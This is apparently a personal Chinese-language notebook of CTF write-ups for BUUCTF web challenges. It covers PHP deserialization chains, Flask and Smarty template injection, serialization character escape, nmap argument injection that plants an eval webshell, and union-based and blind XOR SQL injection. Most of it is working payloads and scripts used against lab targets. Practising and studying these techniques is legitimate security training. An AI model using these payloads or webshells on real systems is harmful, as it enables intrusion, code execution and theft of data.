    public function __get($key){//在对象的外部获取私有成员属性的值时调用
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
Show.__wakeup()=>Show.__toString()=>Test.__get()=>Modifier.__invoke()=>Modifier.append()
< ?php
class Modifier
{
    protected $var='flag.php';

}

class Show
{
    public $source;
    public $str;

}
class Test
{
    public $p;
}
//Show.__wakeup()=>Show.__toString()=>Test.__get()=>Modifier.__invoke()
$a=new Show;
$b=new Show;
$c=new Test;
$d=new Modifier;
$c->p=$d;
$b->str=$c;
$a->source=$b;
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));

//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:8:"flag.php";}}}s:3:"str";N;}
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

在urlencode函数中,星号*不被编码

所以就不用删除/加%00了~

但输入后看不见(

于是用伪协议

 protected $var='php://filter/convert.base64-encode/resource=flag.php';

 O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:" * var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


[安洵杯 2019]easy_web

有个cmd

;"()等被forbid了(

flag.php
TmpZMll6WXhOamN5WlRjd05qZzNNQT09

17张牌你能秒我?(

index.php
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
< ?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);//过滤了所有非字母数字和点号
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])

问一下小鲸鱼(

$a = hex2bin('4dc968ff0ee20c95a107d9d9b7266d1edf769e0b166a237eaa6e7a75df06a0b916fca50eaa417218e8fec75d2d69bb1ee5a758a2ce5b0d5a61f9c735c5ac355');
$b = hex2bin('4dc968ff0ee20c95a107d9d9b7266d1edf769e0b166a237eaa6e7a75df06a0b916fca50eaa417218e8fec75d2d69bb1ee5a758a2ce5b0d5a61f9c735c5ac355');

这两个二进制数据不同,但它们的 MD5 哈希值相同:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

l\s /

或者用dir也行Windows系统命令dir使用详解_dir命令-CSDN博客

dir /


[MRCTF2020]PYWebsite

  function enc(code){
      hash = hex_md5(code);
      return hash;
    }
    function validate(){
      var code = document.getElementById("vcode").value;
//document 是 JavaScript 中表示整个 HTML 文档的对象,通过它可以访问和操作 HTML 文档中的各种元素。
//getElementById() 是 document 对象的一个方法,用于根据元素的 id 属性来查找并返回对应的元素。
//value 是 HTML 表单元素(如 <input>、<textarea>、<select> 等)的一个属性,用于获取或设置这些元素的值。所以,当对 document.getElementById("vcode") 返回的元素使用 .value 时,就可以得到该元素当前所包含的值。
      if (code != ""){
        if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
          alert("您通过了验证!");
          window.location = "./flag.php"
        }else{
          alert("你的授权码不正确!");
        }
      }else{
        alert("请输入授权码");
      }
      
    }

发现输入框对应的id为vcode

找个网站解一下MD5免费在线解密破解_MD5在线加密-SOMD5

0cd4da0223c0b280829dc3ea458d655c
ARandomString

把购买者的IP保存了

X-Forwarded-For: 127.0.0.1

flag{bf368694-e93d-4ec1-ae3b-05c305f54eaa}


[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')
#从环境变量中获取 FLAG,并将其存储在 Flask 应用的配置中。os.environ.pop('FLAG') 会获取并移除环境变量中的 FLAG。

@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
#这是一个动态的 URL 部分,其中 <...> 表示这是一个变量部分,path 是变量的类型,shrine 是变量的名称。path 类型表示这个变量可以匹配任意的路径,包括斜杠 /,也就是说它能捕获 /shrine/ 后面的任意字符串,并且会将捕获到的内容作为参数传递给对应的视图函数。
def shrine(shrine):
    #将 some/path 作为参数传递给 shrine 变量。

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']#普通的{{config}}或者{{self}}无法使用
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    #join 是字符串对象的一个方法,用于将一个可迭代对象(如列表)中的元素用指定的字符串连接起来。这里使用空字符串 '' 作为连接符,将列表中的元素依次拼接成一个完整的字符串。
 #列表推导式会遍历 blacklist 列表中的每个元素 c,并将其插入到 '{{% set {}=None%}}' 这个字符串模板中,生成一个新的字符串列表。
#{{% ... %}} 是 Jinja2 模板的标签语法,用于在模板中执行 Python 代码。
#set 是 Jinja2 模板中的一个语句,用于定义变量。
#{} 是 Python 字符串格式化中的占位符,format(c) 会将 c 的值填充到这个占位符中。

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云

过滤了小括号

用python的内置函数

config.items 一个类字典的对象 , 包含了所有应用程序的配置值

{{url_for.__globals__}}
#搜索app,发现current_app 
#在Flask中,current_app是代理对象,指向当前的app实例。
{{url_for.__globals__['current_app'].config}}
#有FLAG
{{url_for.__globals__['current_app'].config['FLAG']}}

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

但safe_jinja函数中的处理是,将config设置为None。因为在safe_jinja函数中,会将黑名单中的每个词(config和self)用这样的语句设置为None。所以在模板渲染的时候,config变量会被设置为None,而无法访问原来的config对象。

但current_app是另一个变量,可能没有被覆盖。比如,假设在模板中,我们可以访问到current_app,然后通过current_app.config来获取配置。这时候,虽然config变量被设置为None,但current_app的config属性可能依然存在。


[安洵杯 2019]easy_serialize_php

< ?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';#把数组元素组合为字符串
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);#销毁会话
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);#将 POST 请求中的所有参数提取到当前作用域中,使它们可以直接作为变量使用。

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));#存储在会话中
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

phpinfo

d0g3_f1ag.php

extract会把POST的参数变成当前作用域的变量,如果POST中有同名的变量,可能会覆盖已有的变量。例如,如果POST中有_SESSION参数,可能会被覆盖

但是后面的 $_SESSION[‘img’]覆盖不了

PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客

检测到’flag’等关键字就把其替换为空,那么就利用这一点,我们故意输入敏感字符,替换为空之后来实现字符逃逸。

img随便传,会被替换成base64(‘guest_img.png’)即’ZDBnM19mMWFnLnBocA==’

< ?php
$sessionData = [
    'q' => 'flag',
    'img' => 'ZDBnM19mMWFnLnBocA==',
    'xaxa' => ';s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;'
];
echo serialize($sessionData);

a:3:{s:1:"q";s:4:"flag";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"xaxa";s:47:";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;";}

要覆盖";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"xaxa";s:47:总共56个字。

故用flagflagflagflagflagflagflagflagflagflagflagflagflagflag

d0g3_f1ag.php

a:3:{s:1:"q";s:56:"flagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"xaxa";s:47:";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;";s:3:"img";i:"ZDBnM19mMWFnLnBocA==";}

i:7;i:8, i代表数字,7代表键,就是7,值也是数字,值为8,索引为7,值为8,以满足最前面a:3:中的3

_SESSION[q]=flagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=7&_SESSION[xaxa]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:7;i:8;}

/d0g3_fllllllag

_SESSION[q]=flagflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=7&_SESSION[xaxa]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:7;i:8;}

flag{656ea1d3-a8aa-4a62-9b02-0a58d00e7421}

话说有些wp还有时效性什么的(


[强网杯 2019]高明的黑客

cat '/home/kali/桌面/1/www.tar.gz'

爆出来一堆php,真无敌了

都是这种形式的(

找一个存在的GET/POST传参叭

python多线程-Semaphore(信号对象) - 简书

[强网杯 2019]高明的黑客(考察代码编写能力)-CSDN博客

import os  # os:用于操作文件和目录路径。
import requests  # requests:发送HTTP请求。
import re  # re:正则表达式匹配,用于提取参数。
import threading  # threading:实现多线程并发。
import time  # time:获取和处理时间信息。

print('开始时间:  ' + time.asctime(time.localtime(time.time())))  # 记录脚本启动时间。
s1 = threading.Semaphore(100)  # 这儿设置最大的线程数.控制最大并发线程数为100,防止资源耗尽。
"""信号量是一种用于控制并发访问资源的同步原语。它本质上是一个计数器,在多线程编程里,信号量可以限制同时访问某个资源或者执行某段代码的线程数量。当一个线程想要访问受信号量保护的资源时,它需要先获取信号量;当线程使用完资源后,需要释放信号量,这样其他线程才有机会获取信号量并访问资源。"""
filePath = r"D:\phpstudy_pro\WWW\src"
os.chdir(filePath)  # 改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5  # 设置重连次数,防止线程数过高,断开连接.增强网络请求的健壮性。
files = os.listdir(filePath)  # 获取目录下所有文件
session = requests.Session()
session.keep_alive = False  # 设置连接活跃状态为False。禁用Keep-Alive以避免连接池问题。


def get_content(file):
    s1.acquire()  # 获取信号量,控制并发
    """信号量计数器大于 0:如果当前信号量的计数器大于 0,说明还有可用的资源,线程会成功获取信号量,同时信号量的计数器会减 1。例如,若初始计数器值为 100,一个线程成功获取信号量后,计数器变为 99。
信号量计数器等于 0:如果当前信号量的计数器为 0,意味着已经没有可用的资源了,此时线程会被阻塞,进入等待状态,直到有其他线程释放信号量,使得计数器的值大于 0,该线程才有机会获取信号量并继续执行。"""
    print('trying   ' + file + '     ' + time.asctime(time.localtime(time.time())))  # 打印日志:输出当前正在处理的文件和时间。
    with open(file, encoding='utf-8') as f:  # 打开php文件,提取所有的$_GET和$_POST的参数
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))  # 正则匹配:从PHP代码中提取所有$_GET['param']和$_POST[
        # 'param']的参数名。list() 函数可以确保结果是一个列表类型
        """re.findall() 是 re 模块中的一个函数,用于在字符串中查找所有匹配指定正则表达式的子字符串,并将这些匹配结果以列表的形式返回。它的基本语法是 re.findall(pattern, 
        string),其中 pattern 是正则表达式,string 是要搜索的字符串"""
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
    data = {}  # 所有的$_POST
    params = {}  # 所有的$_GET
    for m in gets:
        params[m] = "echo 'hahahahahah';"  # 为每个GET/POST参数赋值echo 'hahahahahah';,用于检测代码执行漏洞。如果参数值被直接执行,响应中会包含xxxxxx。
    for n in posts:
        data[n] = "echo 'hahahahahah';"
    url = 'http://127.0.0.1/src/' + file
    req = session.post(url, data=data, params=params)  # 一次性请求所有的GET和POST
    req.close()  # 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text
    # print(content)
    if "hahahahahah" in content:  # 如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:  # 如果在GET参数中找到,flag=1,否则检查POST。
            req = session.get(
                url + '?%s=' % a + "echo 'hahahahahah';")  # %s 是一个占位符,会被变量 a 的值替换。http://127.0.0.1/src/your_file.php
            # ?param1=echo 'hahahahahah';
            content = req.text
            req.close()  # 关闭请求  释放内存
            if "hahahahahah" in content:
                flag = 1
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b: "echo 'hahahahahah';"})  # {'param': "echo 'hahahahahah';"}
                content = req.text
                req.close()  # 关闭请求  释放内存
                if "hahahahahah" in content:
                    break
        if flag == 1:  # flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: ' + file + "  and 找到了利用的参数:%s" % param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()


for i in files:  # 加入多线程
    t = threading.Thread(target=get_content, args=(i,))
    """threading.Thread() 是 threading 模块中用于创建线程对象的类。
target=get_content:指定线程要执行的目标函数,即 get_content 函数。当线程启动后,会调用这个函数来完成具体的任务。
args=(i,):传递给目标函数的参数。args 是一个元组,这里将当前文件名称 i 作为参数传递给 get_content 函数。注意,即使只有一个参数,也需要写成元组的形式,后面的逗号不能省略。"""
    t.start()  # 调用线程对象 t 的 start() 方法,该方法会启动线程并开始执行 target 指定的函数(即 get_content
    # 函数)。线程会在后台独立运行,不会阻塞主线程的执行,从而实现多线程并发处理多个文件的目的。

/xk0SzyKwfzw.php?Efa5BVG=cat /flag
flag{ed497ec8-a905-4882-9f8b-bb22ffd3c9e7}

还有就是要注意echo的线索要小小众些,不然会出现一堆可行的(


[网鼎杯 2020 朱雀组]Nmap

Warning: simplexml_load_file(): I/O warning : failed to load external entity "xml/34234" in /var/www/html/result.php on line 23
Wrong file name

Nmap 操作手册 - 完整版 - HOsystem - 博客园

【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit通过MS17-010获取系统权限 - Woori - 博客园

来对比下:

很明显前两更像,TCP+balabala…

故为nmap+IP形式

nmap -iL filename 扫描目标文件
  • -oN / -oX / -oS / -oG :正常输出扫描,XML,s | <rIpt kIddi3 和Grepable格式,分别为给定的文件名;
  • -oA :一次输出三种主要格式;
  • nmap -oG [其他扫描参数] <目标主机或网络>

一种是酱,参考[BUUCTF 2018]Online Tool[浅谈escapeshellarg逃逸与参数注入 Mi1k7ea ]http://www.mi1k7ea.com/2019/07/04/浅谈escapeshellarg与参数注入/#escapeshellarg

127.0.0.1' -iL /flag -oN xa

访问xa’

但感觉不靠谱,我又不造源代码里有escapeshllarg什么的(

原来nmap可能和escapeshellarg()与escapeshellcmd()配合使用,那没事了

哇哦!!!!那以后nmap就靠这方面了。这两道题都是一个类型。

nmap和escapeshellarg()函数、escapeshellcmd()函数的RCE使用 - Eddie_Murphy - 博客园

遂把那题的payload搬过来' 《?php @eval($_POST["pass"]);?> -oG pass.php '

结果说我是Hacker(bushi

试了一会儿,好像是把php给ban了

[极客大挑战 2019]Upload——php短标签-CSDN博客找见了喵~

php短标签

#前提是开启配置参数short_open_tags=on
等价于 #不需要开启参数设置
<% echo ‘123’;%> #开启配置参数asp_tags=on,并且只能在7.0以下版本使用

#不需要修改参数开关,但是只能在7.0以下可用。

遂用短标签=>' 《? @eval($_POST["pass"]);?> -oG pass.phtml '

okk~


[NPUCTF2020]ReadlezPHP

蹦出来个大二维码吓死我了啊啊啊啊啊啊

而且报的时间是错的喵

<p>百万前端的NPU报时中心为您报时:<a href="./time.php?source"></a></p>
<SCRIPT language=javascript>
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"大黑阔HELEN";
}runClock();
< ?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

喵的肿么越看越眼熟什么的。。。

< ?php
class HelloPhp
{
    public $a="ls";
    public $b='system';
}
$c = new HelloPhp;
echo serialize($c);

尝试,但没反应。。。

换了个md5可,看来是把system给ban了。

PHP代码执行/命令执行总结 - lktop - 博客园

在 PHP 里,assert() 是一个用于断言的函数。它的作用是判断某个表达式是否为真,如果表达式为假,就会触发一个断言失败的错误。assert() 函数一般接收一个表达式作为参数,当这个表达式的计算结果为 false 时,会根据配置来决定是否抛出异常或者发出警告。

phpinfo() 函数的功能是输出 PHP 的配置信息,包含 PHP 版本、编译选项、加载的扩展、环境变量等诸多详细内容。该函数会将这些信息以 HTML 表格的形式输出到页面上,并且返回值为 true

代码执行情况

当你执行 assert(phpinfo()) 时,会有以下情况发生:

  1. phpinfo() 函数先执行:它会输出 PHP 的详细配置信息到页面上。
  2. assert()phpinfo() 的返回值进行判断:因为 phpinfo() 总是返回 true,所以 assert() 里的条件始终为真,断言不会失败,也就不会触发断言失败的错误。

无敌了

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}


[ASIS 2019]Unicorn shop

<meta charset="utf-8"><!--Ah,really important,seriously. -->
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Unicorn shop</title>
<!-- Don't be frustrated(沮丧的) by the same view,we've changed the challenge content.-->
<!-- Bootstrap core CSS -->
<link href="/static/css/bootstrap.min.css?v=ec3bb52a00e176a7181d454dffaea219" rel="stylesheet">
<!-- Custom styles for this template -->
<link href="/static/css/jumbotron-narrow.css?v=166844ff66a82256d62737c8a6fc14bf" rel="stylesheet">
</head>
<!--We still have some surprise for admin.password-->
<body>
<div class="container">
</div> <!-- /container -->

试了试ID不太可控,price到有些说法。。。

看见了Unicode标签,遂试。找个比1337大的Unicode单个数字就可。

Search

找ten thousand+number即可。𐄫፼等


嗯哼,先酱


[CISCN2019 华东南赛区]Web11

Build With Smarty !

文章 - Smarty模板注入&CVE-2017-1000480 - 先知社区

嗯哼

{if system('cat /flag')}{/if}

ez


[SWPU2019]Web1

admin已有,注册个号广告可xss。猜测需登admin。

看见猜测和MysteryMessageBoard一样。。。

然后无果

终于!看来是sql(

【CTF】二次注入原理及实战-CSDN博客

总之就是进来又出去数据库。。。

-1 ' order by 1#

这题还有个无敌的地方,它广告有上限(还不能一次知道那些被ban了

or(=>^’异或),注释(=>’单引号闭合),空格都ban了(so,information_schem哭辽)

origin_text = ""
print(origin_text.replace(' ', '/**/'))

聊一聊bypass information_schema-安全KER - 安全资讯平台

无列名sql注入 - qingshanboy - 博客园

这道题目在buuoj上的复现是没办法用sys.schema来bypass information_schema的,原因是buuoj没有sys.schema_table_statistics_with_buffer这个数据库,但是比赛中是可以利用的。

join、using

join用于合并两个表,using表示使用什么字段进行连接,用using指定了连接字段则查询结果只返回连接字段

select * from user as b join user using(id) as c
#这里使用id进行连接,只会返回id列
思路:利用join合并同一表,报错重复的列名,再利用using爆出所有的列名,union select需要前后查询的字段数一样,不然会报
这里将 user 表与自身进行连接(join user),并使用 id 字段进行连接(using(id))。由于使用了 USING,结果集中只会包含 id 列(因为 id 是连接字段)。

# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
这条语句尝试将 user 表中 id 等于 1 的记录(select * from user where id='1')与 user 表自身连接的结果(select * from (select * from user as a join user as b)as c)进行 UNION ALL 操作。
但是,由于 user 表自身连接时没有指定连接条件,会导致列名重复(因为两个 user 表都有相同的列名),从而报错。

# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
这里在连接时使用了 using(id),但 UNION ALL 要求前后两个查询的字段数必须相同。
前面的查询 select * from user where id='1' 会返回 user 表的所有列,而后面的查询 select * from (select * from user as a join user as b using(id))as c 由于 using(id) 的限制,只返回 id 列,字段数不一致,所以会报错。

# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
同样,前面的查询返回所有列,后面的查询由于 using(id,username) 只返回 id 和 username 列,字段数不一致,导致报错。

# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
这里通过 using(id,username,password) 使得后面的查询返回的列与前面的查询 select * from user where id='1' 返回的列数和列名一致(假设 user 表只有 id、username 和 password 列),从而可以成功执行 UNION ALL 操作,得到 user 表中的数据。

 JOIN 用于合并两个表的数据。在 SQL 中,有多种类型的 JOIN,如 INNER JOINLEFT JOIN 等。
USINGJOIN 的一种子句,它用于指定连接两个表所依据的列。当使用 USING 指定连接字段时,查询结果中只会包含该连接字段一次(因为在两个表中该字段是相同的),而不是像普通 JOIN 那样可能出现重复的列名。

然后发现join被ban了(

呃(吐血

Q又试了试其他的方法都不行(我认为是它们最后有;的原因?),遂试子查询

select `2` from (select 1,2,3,4 union select * from users)a
select a.2 from (select 1,2,3,4 union select * from users)a
#记得第一个2加反引号,或者使用a.2
如果反引号``被过滤,可以使用为字段起别名的方式.
select `2` from (select 1,2,3,4 union select * from users) as xxx

select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;

第一个查询
select * from user where id='-1'
该查询的功能是从 user 表中选取 id 等于 -1 的所有行。
一般而言,id 属于主键或者唯一键,通常不会存在 id 为 -1 的行,所以这个查询可能不会返回任何结果。不过,它的目的是要保证和第二个查询的列数一致。

第二个查询
select 1, 2, group_concat(x.c) from (select (select 1)a, (select 2)b, (select 3)c union select * from users)x
这个查询较为复杂,下面逐步拆解:
子查询
(select (select 1)a, (select 2)b, (select 3)c union select * from users)x
子查询的功能是把两个查询结果合并。
第一个查询 select (select 1)a, (select 2)b, (select 3)c 会生成一行数据,这一行有三个列,分别命名为 a、b、c,它们的值依次为 123。
第二个查询 select * from users 会从 users 表中选取所有行。
这两个查询的结果通过 UNION 合并成一个临时结果集,并且给这个临时结果集起了别名 x。

外层查询
select 1, 2, group_concat(x.c) from (...)x
外层查询从临时结果集 x 里选取数据。
前两列的值分别为常量 12。
第三列运用了 GROUP_CONCAT 函数,该函数的作用是把 x 表中 c 列的所有值连接成一个字符串,默认情况下,这些值会用逗号分隔。

但首先不知道列数,order还被ban了。。。不知道只能慢慢select了

-1'union select 1,2,3'
-1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

嗯,总之就当我发了22次广告吧(

搞2!

-1'union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
#web1
-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'

but

但InnoDb引擎可

-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()-1'union select 1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from mysql.innodb_table_stats where database_name="web1"'
-1'union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
#懒得转义我这里手动加的双引号hhh
#ads,users
select * from user where id='-1' union select 1,2,group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x;
-1'select `2` from (select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 union select * from web1)'-1'union select 1,database(),(select group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from ads)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

先试了ads:
-1'union/**/select/**/1,database(),(select/**/group_concat(x.e)/**/from/**/(select/**/(select/**/1)a,(select/**/2)b,(select/**/3)c,(select/**/4)d,(select/**/5)e/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
仍是#The used SELECT statements have a different number of columns
我试到f结果发现溢出了。。。于是试user
users表的列数正好是3
-1'union select 1,database(),(select group_concat(x.c) from (select (select 1)a,(select 2)b,(select 3)c union select * from users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
#flag{ecbdd94b-681f-4293-9835-9cb932a63393}

最后放下payoad: -1'union/**/select/**/1,database(),(select/**/group_concat(x.c)/**/from/**/(select/**/(select/**/1)a,(select/**/2)b,(select/**/3)c/**/union/**/select/**/*/**/from/**/users)x),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'哦耶耶~


[BSidesCF 2019]Kookie

啊哈?

这也太💦了


[极客大挑战 2019]FinalSQL

盲注+python,也是拉满buff了

2:一拳一个嘤嘤怪

3:满屏红字吓死人了(

5:谢谢涨词了navienavienavie天真的天真的天真的

这是过滤了啥,咋有的可有的不可?

buer,这username也太哈人了吧,说这是白名单也不为过(

然后想到让找第六个,那说明好像是要搞id(bushi)咳咳

Clever! But not this table.翻译
=>真聪明!但不是这个表。

fuzz了一下,空格和注释符还有一些关键词被ban了,发现’or’=’or’或TRUE会返回id=1时的页面:

sql注入漏洞之异或注入_sql异或注入-CSDN博客

SQL注入学习总结(八):其他SQL注入的异或注入 - 哈哈哈1014 - 博客园

判断不了列数,我就直接搞了

?id=0^1-->ture
?id=0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))>0)-->error
?id=0^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),1,1))=105)-->ture

下面为脚本内容:
(select(group_concat(schema_name))from(information_schema.schemata)
#information_schema,performance_schema,test,mysql,geek

(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')
#F1naI1y,Flaaaaag

(select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')
#id,fl4gawsl

(select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')
#id,username,password

(select(group_concat(fl4gawsl))from(Flaaaaag)
#NO! Not this! Click others~~~,yingyingying~ Not this as well~~,Ohhh You find the flag read on!<br/>Ohhh You #find the flag read on!<br/>Ohhh You find the flag(然后是循环)

(select(group_concat(username))from(F1naI1y)
#mygod,welcome,site,site,site,site(碎碎念:那很site了),Syc,finally,flag  

(select(group_concat(password))from(F1naI1y)
#cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http:#//www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7cf79887-48e3-42a4-ae01-17a0cb33c188}
import requests
from urllib.parse import quote_plus

# 配置目标信息
target_url = "http://75388fa0-b0c7-4fc1-b201-295652d9481b.node5.buuoj.cn:81/search.php"  # 目标URL
